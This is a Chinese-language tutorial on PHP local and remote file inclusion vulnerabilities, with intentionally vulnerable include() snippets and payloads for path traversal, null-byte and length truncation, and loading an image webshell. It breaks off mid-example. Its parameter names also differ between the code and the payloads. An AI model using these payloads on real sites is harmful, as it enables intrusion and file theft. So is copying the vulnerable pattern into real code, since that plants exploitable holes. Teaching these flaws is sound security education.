0x00文件包含漏洞 概述
什么是文件包含
- 程序开发人员通常会把可重复使用的函数 写到单个文件中,在使用某个函数的时候,直接调用此文件 ,无需再次编写,这种调用文件的过程通常称为包含。
造成文件包含的原因
-
为了代码更灵活,通常会把被包含的文件设置为变量 ,进行动态调用 ,从而导致客户端可以调用任意文件 ,造成文件包含漏洞。
-
动态包含的文件路径参数,客户端可控 。
包含漏洞原理解析
- 大多数 web 语言都可以使用文件包含操作,其中 PHP 语言所提供的文件包含功能太强大、太灵活 。所以包含漏经常岀现在 PHP 语言中,在 JSP/ASP/ASP.net 程序中比较少,甚至没有包含漏洞的存在,这与程序开发人员的水平无关,而问题在于语言设计的弊端。
漏洞原理
-
PHP 中提供了四个文件包含的函数,分别是 include()、 include_once()、 require() 和 require_once()
-
这四个函数都进行文件包含,但是作用不一样,区别如下:
| 函数 |
说明 |
|---|---|
| include() | 找不到被包含的文件时只**** 产生警告 ,脚本将**** 继续执行 |
| include_once() |
此语句和 include() 语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含 |
| require() | 找不到被包含的文件时会产生**** 致命错误 ,并**** 停止脚本 |
| require_once() | 此语句和 require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含 |
-
require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件 ,而 include() 只有程序执行到该函数时才调用 。
-
其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、 fopen()、file()
0x01 文件包含漏洞 原理
- web应用对用户的输入没有进行过滤或者严格过滤就带入文件包含函数中执行
0x02 文件包含漏洞 分类
本地文件包含(LFI)
LFI 概述
本地包含的概念
- 指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI
包含条件
- 用户可以 动态控制变量
无限制 LFI 利用
经典代码
<?php
$filename = $_GET[\'filename\'];
include($filename);
?>
漏洞利用
- 获取系统中的其他文件内容
-
绝对路径 读取本地 host 文件
-
payload:?action=C:\Windows\System32\drivers\etc\hosts
-
相对路径 读取本地 host 文件
-
payload:?action=..\ ..\ ..\ ..\ ..\ ..\ ..\ ..\ ..\Windows\System32\drivers\etc\hosts
- 包含图片马
-
可以利用文件包含漏洞直接包含图片马
-
payload:?action=./test.jpg
- 使用蚁剑连接成功
有限制 LFI 绕过
经典代码
<?php
$filename = $_GET[\'filename\'];
include($filename.".php");
?>
绕过方法
- %00 截断
-
条件:1. magic_quotes_gpc = Off 2. php 版本 < 5.3.4
-
获取 phpinfo.php 文件
payload:?action=phpinfo.php%00
- 路径长度截断
- 条件:windows 系统需要长于 197 字符 (即 >=198),超出的部分会被丢弃
- 点号截断
- 条件:windows 系统,点号需要长于 197
- zip phar伪协议
远程文件包含(RFI)
RFI 概述
远程包含的概念
- 指的是能够包含远程服务器上的文件并执行,可以通过 http(s)或者 ftp 等方式,远程加载文件
危害
- 由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大
包含条件
-
allow_url_include = On (默认为 OFF,需要在 php.ini 中手动打开)
-
allow_url_fopen = On (是否允许打开远程文件)
-
用户可以动态控制变量
举例
-
[URL]?path=http